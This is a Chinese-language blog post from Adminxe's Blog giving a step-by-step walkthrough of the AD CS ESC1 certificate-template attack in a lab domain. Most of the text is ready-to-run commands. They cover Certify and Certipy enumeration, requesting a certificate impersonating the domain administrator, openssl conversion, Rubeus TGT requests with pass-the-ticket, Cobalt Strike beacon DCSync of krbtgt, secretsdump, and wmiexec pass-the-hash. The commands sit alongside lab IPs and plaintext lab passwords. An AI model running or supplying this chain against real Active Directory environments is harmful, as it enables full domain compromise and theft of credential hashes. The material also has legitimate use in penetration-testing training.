漏洞配置
使用certtmpl.msc创建
右键复制工作站身份认证模板,做一些修改
![](https://img-blog.csdnimg.cn/img_convert/4aa4616a5c7507d29be1d3f4f9af1d35.png)
![](https://img-blog.csdnimg.cn/img_convert/a14146493400c39ef3ec6d53c082cc69.png)
![](https://img-blog.csdnimg.cn/img_convert/cc52ce7b41f7644eb4917d6ba1921fd3.png)
![](https://img-blog.csdnimg.cn/img_convert/a064a4c62bee5201de8b03cc33d2e86a.png)
![](https://img-blog.csdnimg.cn/img_convert/bfaa0983fc69db2db3f4e16634bad516.png)
![](https://img-blog.csdnimg.cn/img_convert/eeca688c8095c77a5ecd456f89e356f1.png)
![](https://img-blog.csdnimg.cn/img_convert/568e59618dcea34d2b9e9d03fcaa9a78.png)
![](https://img-blog.csdnimg.cn/img_convert/2c21595c57d153994ad04c4be95f5f4a.png)
![](https://img-blog.csdnimg.cn/img_convert/02cad8e2554aa5f8705ed990b69a1b1a.png)
利用条件
ESC1利用前提条件:
msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT 表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
PkiExtendedKeyUsage: Client Authentication 表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证
Enrollment Rights: NT Authority\Authenticated Users 表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书
创建模板ESC1开启ENROLLEE_SUPPLIES_SUBJECT:
将模板用于客户端身份验证(Client Authentication):
设置权限允许普通用户注册(Authenticated Users or Domain Users):
认证后的用户/域用户随便勾一个就行了
枚举证书漏洞
利用
域内:
#检测是否存在漏洞
execute-assembly Certify.exe find /vulnerable
报错!!
发现存在漏洞,为域管请求证书,转换格式,请求TGT,PTT:
# zhang 是一个普通域用户,用域用户去申请证书
# 在域用户或者system下执行
# CS的内存加载本地C#程序,无需落地:
# 在普通域用户下,获取证书,注意altname参数,这个需要填的是域管用户名。
execute-assembly \path\Certify.exe request /ca:【CA Name】 /template:VulnTemplate /altname:domadmin
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
execute-assembly \path\Rubeus.exe asktgt /user:<$adUserToImpersonate> /certificate:cert.pfx /ptt
====================================================================================
Certify.exe request /ca:adcs.attack.cn\attack-ADCS-CA -stdout /template:ESC1 /altname:administrator
直接通过证书获取TGT:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /ptt
![](https://img-blog.csdnimg.cn/img_convert/1e30186539fae0220a48c9bc0e510fd5.png)
![](https://img-blog.csdnimg.cn/img_convert/356dbe3377c72513233b810a482798ca.png)
![](https://img-blog.csdnimg.cn/img_convert/b1be9088daeb3915f7aa247524df924c.png)
![](https://img-blog.csdnimg.cn/img_convert/8132d5e8b4aa2aadf43e4fdcebf1ed2a.png)
Rubeus 通过证书获取TGT:
![](https://img-blog.csdnimg.cn/img_convert/e3741019b5084fbdfd37a6a27f2cebf0.png)
![](https://img-blog.csdnimg.cn/img_convert/d9bf472df1aa7b46ae57b16ac932507e.png)
注:将生成的cert.pem先保存到txt,然后重命名为cert.pem
pem转换pfx证书,直接回车,不需要输入密码,申请TGT票据
#通过openssl转换证书
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
#将pfx证书转换为base64
cat cert.pfx | base64 -w 0
execute-assembly Rubeus.exe asktgt /user:administrator /certificate:base64 /aes256 /nowrap
Rubeus.exe asktgt /user:administrator /certificate:base64 /aes256 /nowrap
Rubeus.exe asktgt /user:Administrator /certificate:base64 /ptt
CS可直接执行:
beacon> dcsync attack.cn ATTACK\krbtgt
beacon> dcsync attack.cn ATTACK\Administrator
beacon> dcsync attack.cn
![](https://img-blog.csdnimg.cn/img_convert/1d791acf596c918d19d9a54e63d6f6c3.png)
![](https://img-blog.csdnimg.cn/img_convert/af166cec0e659c09fddef967bd35d9a5.png)
![](https://img-blog.csdnimg.cn/img_convert/b833bc42200f2a7f5ed3c2c1c2e75876.png)
![](https://img-blog.csdnimg.cn/img_convert/bafda67ba31877f112fcd1a4d0fb367d.png)
域外
# 测试漏洞
certipy find -u zhang@attack.cn -p 321.com -dc-ip 192.168.11.11 -vulnerable -stdout
![](https://img-blog.csdnimg.cn/img_convert/1f27c61141c789bc22b614ada216a690.png)
![](https://img-blog.csdnimg.cn/img_convert/8dd464994e52e305398f8748ba9f8385.png)
发现存在ESC1可利用的模板,为域管请求证书,转换格式,请求TGT,DCSync或者PTT:
target为ADCSIP
certipy req -u zhangsan@red.lab -p zs@123456 -target 192.168.149.135 -ca red-ADCS-CA -template ESC1 -upn administrator@red.lab
certipy auth -pfx administrator.pfx -dc-ip 192.168.149.133
secretsdump.py red.lab/administrator@192.168.149.133 -just-dc-user red/krbtgt -hashes :nthash
=============================================
# 实测template为创建模板的名字,ESC1只是为了文中表达,根据具体模板更改
certipy req -u 'zhang'@attack.cn -p '321.com' -target 192.168.11.12 -ca attack-adcs-Ca -template ESC1 -upn administrator@attack.cn
certipy auth -pfx administrator.pfx -dc-ip 192.168.11.11
secretsdump.py attack.cn/administrator@192.168.11.11 -just-dc-user ATTACK/krbtgt -hashes :nthash
secretsdump.py attack.cn/administrator@192.168.11.11 -hashes :161cff084477fe596a5db81874498a24
# 哈希传递
python3 .\wmiexec.py attack/administrator@192.168.11.11 -hashes :XXXXX
![](https://img-blog.csdnimg.cn/img_convert/1b7d1f560ca8d63d510c7ed75cb6bc1f.png)
![](https://img-blog.csdnimg.cn/img_convert/068b24be089e4acf52af6e435495f3c8.png)
转载请注明:Adminxe's Blog » ADCS攻击之证书模板配置错误 ESC1